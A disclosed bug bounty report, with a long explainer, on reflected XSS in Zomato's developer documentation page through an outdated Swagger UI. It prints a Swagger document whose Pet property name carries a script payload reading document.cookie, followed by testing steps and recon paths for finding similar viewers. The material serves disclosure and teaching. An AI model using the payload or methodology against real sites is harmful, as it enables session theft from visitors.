Reflected XSS on developers.zomato.com
- Triaged in 1 hour
- Fixed in 8 hours
- Paid in 8 hours
- Disclosed after 20 hours
There is a vulnerability in https://developers.zomato.com/documentation due to an old version of Swagger UI
Step to reproduce:
- Create an endpoint containing :
{"swagger":"2.0","info":{"description":"This is a sample server Petstore server. You can find out more about Swagger at [http://swagger.io](http://swagger.io) or on [irc.freenode.net, #swagger](http://swagger.io/irc/). For this sample, you can use the api key `special-key` to test the authorization filters.","version":"1.0.0","title":"Swagger Petstore","termsOfService":"http://swagger.io/terms/","contact":{"email":"[email protected]"},"license":{"name":"Apache 2.0","url":"http://www.apache.org/licenses/LICENSE-2.0.html"}},"host":"localhost:4567","basePath":"/v2","tags":[{"name":"pet","description":"Everything about your Pets","externalDocs":{"description":"Find out more","url":"http://swagger.io"}},{"name":"store","description":"Access to Petstore orders"},{"name":"user","description":"Operations about user","externalDocs":{"description":"Find out more about our store","url":"http://swagger.io"}}],"schemes":["http"],"paths":{"/pet":{"post":{"tags":["pet"],"summary":"Add a new pet to the store","description":"","operationId":"addPet","consumes":["application/json","application/xml"],"produces":["application/xml","application/json"],"parameters":[{"in":"body","name":"body","description":"Pet object that needs to be added to the store","required":true,"schema":{"$ref":"#/definitions/Pet"}}],"responses":{"405":{"description":"Invalid input"}},"security":[{"petstore_auth":["write:pets","read:pets"]}]},"put":{"tags":["pet"],"summary":"Update an existing pet","description":"","operationId":"updatePet","consumes":["application/json","application/xml"],"produces":["application/xml","application/json"],"parameters":[{"in":"body","name":"body","description":"Pet object that needs to be added to the store","required":true,"schema":{"$ref":"#/definitions/Pet"}}],"responses":{"400":{"description":"Invalid ID supplied"},"404":{"description":"Pet not found"},"405":{"description":"Validation exception"}},"security":[{"petstore_auth":["write:pets","read:pets"]}]}},"/pet/findByStatus":{"get":{"tags":["pet"],"summary":"Finds Pets by status","description":"Multiple status values can be provided with comma separated strings","operationId":"findPetsByStatus","produces":["application/xml","application/json"],"parameters":[{"name":"status","in":"query","description":"Status values that need to be considered for filter","required":true,"type":"array","items":{"type":"string","enum":["available","pending","sold"],"default":"available"},"collectionFormat":"multi"}],"responses":{"200":{"description":"successful operation","schema":{"type":"array","items":{"$ref":"#/definitions/Pet"}}},"400":{"description":"Invalid status value"}},"security":[{"petstore_auth":["write:pets","read:pets"]}]}},"/pet/findByTags":{"get":{"tags":["pet"],"summary":"Finds Pets by tags","description":"Muliple tags can be provided with comma separated strings. Use tag1, tag2, tag3 for testing.","operationId":"findPetsByTags","produces":["application/xml","application/json"],"parameters":[{"name":"tags","in":"query","description":"Tags to filter by","required":true,"type":"array","items":{"type":"string"},"collectionFormat":"multi"}],"responses":{"200":{"description":"successful operation","schema":{"type":"array","items":{"$ref":"#/definitions/Pet"}}},"400":{"description":"Invalid tag value"}},"security":[{"petstore_auth":["write:pets","read:pets"]}],"deprecated":true}},"/pet/{petId}":{"get":{"tags":["pet"],"summary":"Find pet by ID","description":"Returns a single pet","operationId":"getPetById","produces":["application/xml","application/json"],"parameters":[{"name":"petId","in":"path","description":"ID of pet to return","required":true,"type":"integer","format":"int64"}],"responses":{"200":{"description":"successful operation","schema":{"$ref":"#/definitions/Pet"}},"400":{"description":"Invalid ID supplied"},"404":{"description":"Pet not found"}},"security":[{"api_key":[]}]},"post":{"tags":["pet"],"summary":"Updates a pet in the store with form data","description":"","operationId":"updatePetWithForm","consumes":["application/x-www-form-urlencoded"],"produces":["application/xml","application/json"],"parameters":[{"name":"petId","in":"path","description":"ID of pet that needs to be updated","required":true,"type":"integer","format":"int64"},{"name":"name","in":"formData","description":"Updated name of the pet","required":false,"type":"string"},{"name":"status","in":"formData","description":"Updated status of the pet","required":false,"type":"string"}],"responses":{"405":{"description":"Invalid input"}},"security":[{"petstore_auth":["write:pets","read:pets"]}]},"delete":{"tags":["pet"],"summary":"Deletes a pet","description":"","operationId":"deletePet","produces":["application/xml","application/json"],"parameters":[{"name":"api_key","in":"header","required":false,"type":"string"},{"name":"petId","in":"path","description":"Pet id to delete","required":true,"type":"integer","format":"int64"}],"responses":{"400":{"description":"Invalid ID supplied"},"404":{"description":"Pet not found"}},"security":[{"petstore_auth":["write:pets","read:pets"]}]}},"/pet/{petId}/uploadImage":{"post":{"tags":["pet"],"summary":"uploads an image","description":"","operationId":"uploadFile","consumes":["multipart/form-data"],"produces":["application/json"],"parameters":[{"name":"petId","in":"path","description":"ID of pet to update","required":true,"type":"integer","format":"int64"},{"name":"additionalMetadata","in":"formData","description":"Additional data to pass to server","required":false,"type":"string"},{"name":"file","in":"formData","description":"file to upload","required":false,"type":"file"}],"responses":{"200":{"description":"successful operation","schema":{"$ref":"#/definitions/ApiResponse"}}},"security":[{"petstore_auth":["write:pets","read:pets"]}]}},"/store/inventory":{"get":{"tags":["store"],"summary":"Returns pet inventories by status","description":"Returns a map of status codes to quantities","operationId":"getInventory","produces":["application/json"],"parameters":[],"responses":{"200":{"description":"successful operation","schema":{"type":"object","additionalProperties":{"type":"integer","format":"int32"}}}},"security":[{"api_key":[]}]}},"/store/order":{"post":{"tags":["store"],"summary":"Place an order for a pet","description":"","operationId":"placeOrder","produces":["application/xml","application/json"],"parameters":[{"in":"body","name":"body","description":"order placed for purchasing the pet","required":true,"schema":{"$ref":"#/definitions/Order"}}],"responses":{"200":{"description":"successful operation","schema":{"$ref":"#/definitions/Order"}},"400":{"description":"Invalid Order"}}}},"/store/order/{orderId}":{"get":{"tags":["store"],"summary":"Find purchase order by ID","description":"For valid response try integer IDs with value >= 1 and <= 10. Other values will generated exceptions","operationId":"getOrderById","produces":["application/xml","application/json"],"parameters":[{"name":"orderId","in":"path","description":"ID of pet that needs to be fetched","required":true,"type":"integer","maximum":10.0,"minimum":1.0,"format":"int64"}],"responses":{"200":{"description":"successful operation","schema":{"$ref":"#/definitions/Order"}},"400":{"description":"Invalid ID supplied"},"404":{"description":"Order not found"}}},"delete":{"tags":["store"],"summary":"Delete purchase order by ID","description":"For valid response try integer IDs with positive integer value. Negative or non-integer values will generate API errors","operationId":"deleteOrder","produces":["application/xml","application/json"],"parameters":[{"name":"orderId","in":"path","description":"ID of the order that needs to be deleted","required":true,"type":"integer","minimum":1.0,"format":"int64"}],"responses":{"400":{"description":"Invalid ID supplied"},"404":{"description":"Order not found"}}}},"/user":{"post":{"tags":["user"],"summary":"Create user","description":"This can only be done by the logged in user.","operationId":"createUser","produces":["application/xml","application/json"],"parameters":[{"in":"body","name":"body","description":"Created user object","required":true,"schema":{"$ref":"#/definitions/User"}}],"responses":{"default":{"description":"successful operation"}}}},"/user/createWithArray":{"post":{"tags":["user"],"summary":"Creates list of users with given input array","description":"","operationId":"createUsersWithArrayInput","produces":["application/xml","application/json"],"parameters":[{"in":"body","name":"body","description":"List of user object","required":true,"schema":{"type":"array","items":{"$ref":"#/definitions/User"}}}],"responses":{"default":{"description":"successful operation"}}}},"/user/createWithList":{"post":{"tags":["user"],"summary":"Creates list of users with given input array","description":"","operationId":"createUsersWithListInput","produces":["application/xml","application/json"],"parameters":[{"in":"body","name":"body","description":"List of user object","required":true,"schema":{"type":"array","items":{"$ref":"#/definitions/User"}}}],"responses":{"default":{"description":"successful operation"}}}},"/user/login":{"get":{"tags":["user"],"summary":"Logs user into the system","description":"","operationId":"loginUser","produces":["application/xml","application/json"],"parameters":[{"name":"username","in":"query","description":"The user name for login","required":true,"type":"string"},{"name":"password","in":"query","description":"The password for login in clear text","required":true,"type":"string"}],"responses":{"200":{"description":"successful operation","schema":{"type":"string"},"headers":{"X-Rate-Limit":{"type":"integer","format":"int32","description":"calls per hour allowed by the user"},"X-Expires-After":{"type":"string","format":"date-time","description":"date in UTC when token expires"}}},"400":{"description":"Invalid username/password supplied"}}}},"/user/logout":{"get":{"tags":["user"],"summary":"Logs out current logged in user session","description":"","operationId":"logoutUser","produces":["application/xml","application/json"],"parameters":[],"responses":{"default":{"description":"successful operation"}}}},"/user/{username}":{"get":{"tags":["user"],"summary":"Get user by user name","description":"","operationId":"getUserByName","produces":["application/xml","application/json"],"parameters":[{"name":"username","in":"path","description":"The name that needs to be fetched. Use user1 for testing. ","required":true,"type":"string"}],"responses":{"200":{"description":"successful operation","schema":{"$ref":"#/definitions/User"}},"400":{"description":"Invalid username supplied"},"404":{"description":"User not found"}}},"put":{"tags":["user"],"summary":"Updated user","description":"This can only be done by the logged in user.","operationId":"updateUser","produces":["application/xml","application/json"],"parameters":[{"name":"username","in":"path","description":"name that need to be updated","required":true,"type":"string"},{"in":"body","name":"body","description":"Updated user object","required":true,"schema":{"$ref":"#/definitions/User"}}],"responses":{"400":{"description":"Invalid user supplied"},"404":{"description":"User not found"}}},"delete":{"tags":["user"],"summary":"Delete user","description":"This can only be done by the logged in user.","operationId":"deleteUser","produces":["application/xml","application/json"],"parameters":[{"name":"username","in":"path","description":"The name that needs to be deleted","required":true,"type":"string"}],"responses":{"400":{"description":"Invalid username supplied"},"404":{"description":"User not found"}}}}},"securityDefinitions":{"petstore_auth":{"type":"oauth2","authorizationUrl":"http://petstore.swagger.io/api/oauth/dialog","flow":"implicit","scopes":{"write:pets":"modify pets in your account","read:pets":"read your pets"}},"api_key":{"type":"apiKey","name":"api_key","in":"header"}},"definitions":{"Order":{"type":"object","properties":{"id":{"type":"integer","format":"int64"},"petId":{"type":"integer","format":"int64"},"quantity":{"type":"integer","format":"int32"},"shipDate":{"type":"string","format":"date-time"},"status":{"type":"string","description":"Order Status","enum":["placed","approved","delivered"]},"complete":{"type":"boolean","default":false}},"xml":{"name":"Order"}},"Category":{"type":"object","properties":{"id":{"type":"integer","format":"int64"},"name":{"type":"string"}},"xml":{"name":"Category"}},"User":{"type":"object","properties":{"id":{"type":"integer","format":"int64"},"username":{"type":"string"},"firstName":{"type":"string"},"lastName":{"type":"string"},"email":{"type":"string"},"password":{"type":"string"},"phone":{"type":"string"},"userStatus":{"type":"integer","format":"int32","description":"User Status"}},"xml":{"name":"User"}},"Tag":{"type":"object","properties":{"id":{"type":"integer","format":"int64"},"name":{"type":"string"}},"xml":{"name":"Tag"}},"ApiResponse":{"type":"object","properties":{"code":{"type":"integer","format":"int32"},"type":{"type":"string"},"message":{"type":"string"}}},"Pet":{"type":"object","required":["name","photoUrls<script>alert(document.cookie)</script>"],"properties":{"id":{"type":"integer","format":"int64"},"category":{"$ref":"#/definitions/Category"},"name":{"type":"string","example":"doggie"},"photoUrls<script>alert(document.cookie)</script>":{"type":"array","xml":{"name":"photoUrl","wrapped":true},"items":{"type":"string"}},"tags":{"type":"array","xml":{"name":"tag","wrapped":true},"items":{"$ref":"#/definitions/Tag"}},"status":{"type":"string","description":"pet status in the store","enum":["available","pending","sold"]}},"xml":{"name":"Pet"}}},"externalDocs":{"description":"Find out more about Swagger","url":"http://swagger.io"}}
Mitigation Update your swagger version
Impact
An attacker could possibly steal cookie and user informations
What the report shows
The target is the Zomato developer documentation site at https://developers.zomato.com/documentation, which renders an API reference using Swagger UI. The researcher attributes the issue to an old version of Swagger UI and reports a reflected cross-site scripting (XSS) flaw in how that page handles a Swagger definition.
The reproduction has two steps. First, the researcher creates an endpoint that serves a Swagger 2.0 document. The document is the standard Petstore sample, modified so that a property name in the Pet definition carries a script payload. The relevant fragment is:
"Pet":{"type":"object","required":["name","photoUrls<script>alert(document.cookie)</script>"],"properties":{"id":{"type":"integer","format":"int64"},"category":{"$ref":"#/definitions/Category"},"name":{"type":"string","example":"doggie"},"photoUrls<script>alert(document.cookie)</script>":{"type":"array","xml":{"name":"photoUrl","wrapped":true},"items":{"type":"string"}},"tags":{"type":"array","xml":{"name":"tag","wrapped":true},"items":{"$ref":"#/definitions/Tag"}},"status":{"type":"string","description":"pet status in the store","enum":["available","pending","sold"]}},"xml":{"name":"Pet"}}
The full document the researcher supplies is a complete Swagger 2.0 definition with host set to localhost:4567, basePath /v2, the usual pet, store and user tags, and the standard paths and definitions. The payload sits in the property name photoUrls<script>alert(document.cookie)</script>, which appears both in the required array and as a key under properties.
Second, the researcher navigates to the documentation page with the endpoint supplied. The report shows the URL as https://developers.zomato.com/documentation███, with part of it redacted in the published text.
The report's mitigation is to update the Swagger version. The stated impact is that an attacker could possibly steal cookies and user information.
Root cause
The likely cause is that the Swagger UI build in use renders parts of the loaded definition, such as definition and property names, into the DOM without adequate output encoding. A property name is attacker-controlled data in a Swagger document, so a name containing HTML is interpreted as markup rather than text. The report frames this as a version problem and recommends updating Swagger.
Impact
The report keeps its impact hedged: an attacker could possibly steal cookies and user information. Script running in the documentation origin could read what that origin exposes to JavaScript. The report does not demonstrate a specific theft, and it does not describe any authentication on the documentation site.
How this kind of bug works
Reflected XSS happens when input supplied in a request is written into the response without context-appropriate encoding, so the browser parses it as HTML or JavaScript. API documentation viewers are a common home for this because they are built to display arbitrary metadata from a specification: titles, descriptions, parameter names, property names, enum values and examples. Many of these fields are treated as trusted display strings, and older renderers insert them with raw HTML assignment or template interpolation without escaping.
The attacker's input does not have to arrive as a query parameter. It can arrive inside a document the page is told to load, which is why a viewer that accepts a remote specification URL is a natural delivery mechanism. The defence is output encoding at the point of rendering, ideally by building DOM nodes with text content rather than HTML strings, plus a Content Security Policy that blocks inline script. Keeping the viewer library current matters because these rendering bugs are fixed upstream.
How to test for it
- Identify pages that render API documentation: Swagger UI, ReDoc, GraphQL playgrounds, API portals and internal developer consoles.
- Look for a way to point the viewer at a specification you control, usually a query parameter holding a URL, or a fragment that the page reads.
- Serve a minimal valid specification from your own host and confirm the page loads it.
- Place a harmless marker such as a distinctive string in every display field:
info.title,info.description, tag names, operation summaries, parameter names, definition names, property names, enum values and examples. - Reload and inspect the rendered DOM. A positive result is your marker appearing as an element or attribute rather than as text, and then a benign script executing, for example a call that writes a value you can observe.
- If a field is escaped, try the others; renderers often handle descriptions safely but not property names.
Common false positives: the marker appears inside a JSON or JavaScript string in the page source but is never parsed as markup; the page escapes on one path but not another; a payload fires only in your own browser extension or proxy; or the reflection is on a different origin from the one you claim. Confirm execution in a clean browser profile and note the exact origin.
How it is fixed
Upgrade the documentation viewer to a current release, since the escaping fix lives in the library. Where the viewer is customised, encode all specification-derived values for the HTML context they land in, and prefer APIs that set text rather than HTML. Add a Content Security Policy that disallows inline and eval-based script, which limits the damage of any remaining sink. If the viewer accepts a remote specification URL, restrict it to trusted hosts.
Hunting notes
This class hides in developer-facing tooling: API documentation, sandbox consoles, schema browsers, admin dashboards that render user-supplied metadata, and anything that displays names or labels from imported data. Recon signals include paths such as /documentation, /docs, /swagger, /api-docs, pages that load a specification from a URL parameter, and old bundled copies of Swagger UI or similar viewers visible in the page source.
To make a report land, show the exact document or request that triggers execution, state the origin where script runs, and describe what that origin can access. A minimal proof that reads a value the page already holds is usually enough; avoid claims about cookie theft unless you can show the cookie is reachable from that origin.
What happened, in plain words
Zomato runs a website for developers at https://developers.zomato.com/documentation. It is an API reference: a page that lists the operations a developer can call on Zomato's systems, with descriptions, parameters and example data. Pages like this are usually not written by hand. They are generated by a tool called Swagger UI, which reads a machine-readable description of the API (a Swagger document) and draws it as a friendly web page.
The researcher attributes the issue to an old version of Swagger UI. Some of it is inserted into the page as if it were HTML, the language browsers use to build pages. If an attacker can get a piece of HTML into the document, the browser will run it as part of the Zomato page.
That is what cross-site scripting (XSS) means: an attacker gets their own code to run inside someone else's website, in the visitor's browser, with the same trust the site itself has. The "reflected" part means the malicious content is not stored on the site permanently; it is fed in through the request and bounced straight back into the page.
Step 1: build a document with a payload in it
The researcher first created an endpoint, meaning a web address on a server they control that returns a file when asked. That file is a Swagger 2.0 document: a JSON file describing an API. The researcher started from the standard Petstore sample (a demo API about pets that ships with Swagger) and changed one thing: a property name in the Pet definition now contains a script. The relevant fragment is:
"Pet":{"type":"object","required":["name","photoUrls<script>alert(document.cookie)</script>"],"properties":{"id":{"type":"integer","format":"int64"},"category":{"$ref":"#/definitions/Category"},"name":{"type":"string","example":"doggie"},"photoUrls<script>alert(document.cookie)</script>":{"type":"array","xml":{"name":"photoUrl","wrapped":true},"items":{"type":"string"}},"tags":{"type":"array","xml":{"name":"tag","wrapped":true},"items":{"$ref":"#/definitions/Tag"}},"status":{"type":"string","description":"pet status in the store","enum":["available","pending","sold"]}},"xml":{"name":"Pet"}}
Reading it piece by piece:
"Pet":{"type":"object", ...}starts the definition of a data type calledPet, an object with fields."required":["name","photoUrls<script>alert(document.cookie)</script>"]lists the fields that must be present. The second entry is not a normal field name: it is the wordphotoUrlsfollowed by<script>alert(document.cookie)</script>."properties":{...}lists the fields and their types. The same crafted name appears again as a key, this time holding"type":"array", meaning a list of values.<script>alert(document.cookie)</script>is the payload. In HTML,<script>starts a block of JavaScript and</script>ends it.alert(...)opens a pop-up box, anddocument.cookieis the browser's way of reading the cookies that belong to the current page.
A cookie is a small piece of data a website asks the browser to keep and send back on later requests. It is often used to remember who is logged in, which is why reading it matters. The pop-up is only a harmless demonstration: it proves code ran, without sending anything anywhere.
The full document the researcher supplied is the complete Petstore definition, with host set to localhost:4567 and basePath set to /v2. The payload sits in the property name, which appears both in the required list and as a key under properties.
Step 2: make the Zomato page load that document
The researcher then opened the Zomato documentation page with the address of their own document supplied to it. The report shows the address as https://developers.zomato.com/documentation███, with the part carrying the endpoint hidden in the published text.
This step is the heart of the bug. The report attributes the issue to an old version of Swagger UI. The page drew the property name into the page as HTML. The report does not describe the exact parameter used to pass the document address.
The fix and the outcome
The report's mitigation is short: update the Swagger version. The report's mitigation is to update the Swagger version. The stated impact is that an attacker could possibly steal cookies and user information.
In general, how this kind of bug works
Whenever a website takes something a user supplied and puts it into a page, it has to decide whether that something is text or structure. If it is inserted as text, the browser shows it literally. If it is inserted as HTML, the browser obeys it. A property name in an API description is data, but an old renderer may paste it into the page as markup, and then a name containing a script tag becomes a script.
API documentation viewers are a natural home for this because their whole job is to display arbitrary metadata: titles, descriptions, parameter names, property names, allowed values and examples. Many of those fields were written assuming they are safe display strings. The input also does not have to arrive in the address bar as a query parameter; it can arrive inside a document the page is told to fetch, which is why a viewer that accepts a remote document address is an easy delivery route.
The proper defence is output encoding at the moment of rendering: build page elements so their content is set as text, never as HTML. A Content Security Policy, a browser rule that can forbid inline scripts, limits the damage if a gap remains. Keeping the viewer library current matters because these rendering fixes are made upstream.
In general, how to test for it
- Find pages that display API documentation: Swagger UI, ReDoc, GraphQL playgrounds, API portals and internal developer consoles.
- Look for a way to point the viewer at a document you control, usually a parameter holding a web address, or a fragment the page reads.
- Serve a small valid document from your own server and confirm the page loads it.
- Put a harmless marker, such as a distinctive word, in every field that gets displayed: the title, the description, tag names, operation summaries, parameter names, definition names, property names, allowed values and examples.
- Reload and inspect the page. A positive result is your marker appearing as an element or attribute rather than as visible text, followed by a harmless script running, for example one that writes a value you can see.
- If one field is escaped, try the others; renderers often handle descriptions safely but not property names.
Common false positives: the marker appears inside a JSON or JavaScript string in the page source but is never treated as markup; the page escapes on one path but not another; the payload fires only because of your own browser extension or proxy; or the reflection happens on a different origin from the one you are claiming. Confirm execution in a clean browser profile and note the exact origin.
In general, how it is fixed
Upgrade the documentation viewer to a current release, since the escaping fix lives in the library. Where the viewer is customised, encode every value taken from the document for the HTML context it lands in, and prefer interfaces that set text rather than HTML. Add a Content Security Policy that disallows inline and eval-based script. If the viewer accepts a remote document address, restrict it to trusted hosts.
In general, where to look
This class hides in developer-facing tooling: API documentation, sandbox consoles, schema browsers, admin dashboards that render user-supplied metadata, and anything that displays names or labels from imported data. Signals worth checking include paths such as /documentation, /docs, /swagger and /api-docs, pages that load a document from an address parameter, and old bundled copies of Swagger UI or similar viewers visible in the page source.
To make a report land, show the exact document or request that triggers execution, state the origin where the script runs, and describe what that origin can access. A minimal proof that reads a value the page already holds is usually enough; avoid claims about cookie theft unless you can show the cookie is reachable from that origin.
Glossary
- API: a set of operations one system offers to another, usually over the web, so programs can talk to each other.
- Swagger document: a JSON file that describes an API: its operations, parameters, data types and examples.
- Swagger UI: a tool that reads a Swagger document and draws it as a browsable web page.
- Endpoint: a web address on a server that returns a response when requested.
- JSON: a text format for structured data, built from keys and values in curly braces and square brackets.
- Property: a named field inside a data type, such as
nameinsidePet. - Payload: the part of an attack that carries the malicious content.
- Cross-site scripting (XSS): getting an attacker's code to run inside another website, in a visitor's browser.
- Reflected XSS: XSS where the malicious input is sent in a request and immediately echoed back into the page, rather than stored on the server.
- HTML: the language browsers use to describe a page's structure, including tags such as
<script>. - JavaScript: the programming language browsers run to make pages interactive.
- DOM: the browser's in-memory model of the page, which scripts read and change.
- Cookie: a small piece of data a site asks the browser to store and send back on later requests, often used to keep a user logged in.
- Origin: the combination of scheme, host and port that defines which site a page belongs to; scripts on one origin are kept apart from another.
- Output encoding: converting data so the browser treats it as text rather than as structure.
- Content Security Policy (CSP): a browser rule set by a site that can block inline scripts and other risky behaviour.
- False positive: a test result that looks like a bug but is not one.
- Severity: a rating of how serious a bug is, here low.
- Bounty: a payment a company makes to a researcher who reports a valid bug.